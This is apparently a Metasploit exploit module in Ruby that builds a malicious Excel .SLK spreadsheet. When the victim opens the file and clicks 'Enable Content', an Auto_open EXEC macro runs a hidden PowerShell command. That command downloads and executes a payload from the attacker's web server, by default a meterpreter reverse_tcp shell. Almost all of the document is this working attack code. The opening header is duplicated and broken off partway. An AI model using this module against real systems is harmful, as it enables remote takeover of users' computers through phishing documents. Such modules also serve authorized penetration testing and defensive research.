##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Ex ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Powershell
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => "Microsoft Excel .SLK Payload Delivery",
'Description' => %Q{
This module generates a download and execute Powershell
command to be placed in an .SLK Excel spreadsheet.
When executed, it will retrieve a payload via HTTP
from a web server. When the file is opened, the
user will be prompted to "Enable Content." Once
this is pressed, the payload will execute.
},
'Author' => [
'Carter Brainerd', # cbrnrd; Metasploit module
'Stan Hegt', # @StanHacked; Discovery
'Pieter Ceelen' # @ptrpieter; Discovery
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://blog.appriver.com/2018/02/trojan-droppers-using-symbolic-link-files'],
['URL', 'https://www.twitter.com/StanHacked/status/1049047727403937795'],
['URL', 'http://www.irongeek.com/i.php?page=videos/derbycon8/track-3-18-the-ms-office-magic-show-stan-hegt-pieter-ceelen']
],
'Platform' => 'win', # idk about other platforms
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
['Microsoft Excel', {} ]
],
'DisclosureDate' => 'Oct 7 2018',
'DefaultTarget' => 0,
'Payload' =>
{
'DisableNops' => true
},
'DefaultOptions' =>
{
'DisablePayloadHandler' => false,
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
'EXITFUNC' => 'thread'
}
))

register_options([
OptString.new('FILENAME', [true, "Filename to save as", "#{rand_text_alphanumeric 8}.slk"])
])
end

def on_request_uri(cli, request)
if request.raw_uri.to_s.end_with? '.slk'
print_status("Handling request for .slk from #{cli.peerhost}")
payload = gen_psh("#{get_uri}", "string")
data = create_slk(payload)
send_response(cli, data, 'Content-Type' => 'text/plain')
else
print_status("Delivering payload to #{cli.peerhost}...")
p = regenerate_payload(cli)
data = cmd_psh_payload(p.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
end
end

# I might be able to do without this (using cmd_psh_payload() and encode_final_payload() in Msf::Exploit::Powershell)
def gen_psh(url, *method)
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl

if method.include? 'string'
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
else
# Random filename to use, if there isn't anything set
random = "#{rand_text_alphanumeric 8}.exe"
# Set filename (Use random filename if empty)
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']

# Set path (Use %TEMP% if empty)
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')

# Join Path and Filename
file = %Q(echo (#{path}+'\#{filename}'))

# Generate download PowerShell command
download_string = Rex::Powershell::PshMethods.download_run(url, file)
end

download_and_run = "#{ignore_cert}#{download_string}"

# Generate main PowerShell command
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
end

def create_slk(cmd)
content = "ID;P "
content << "O;E "
content << "NN;NAuto_open;ER101C1;KOut Flank;F "
content << "C;X1;Y101;EEXEC("#{cmd}") " # Execute command
content << "C;X1;Y102;EHALT() "
content << "E"
content
end

def primer
file_create(create_slk(gen_psh("#{get_uri}", 'string')))
end
end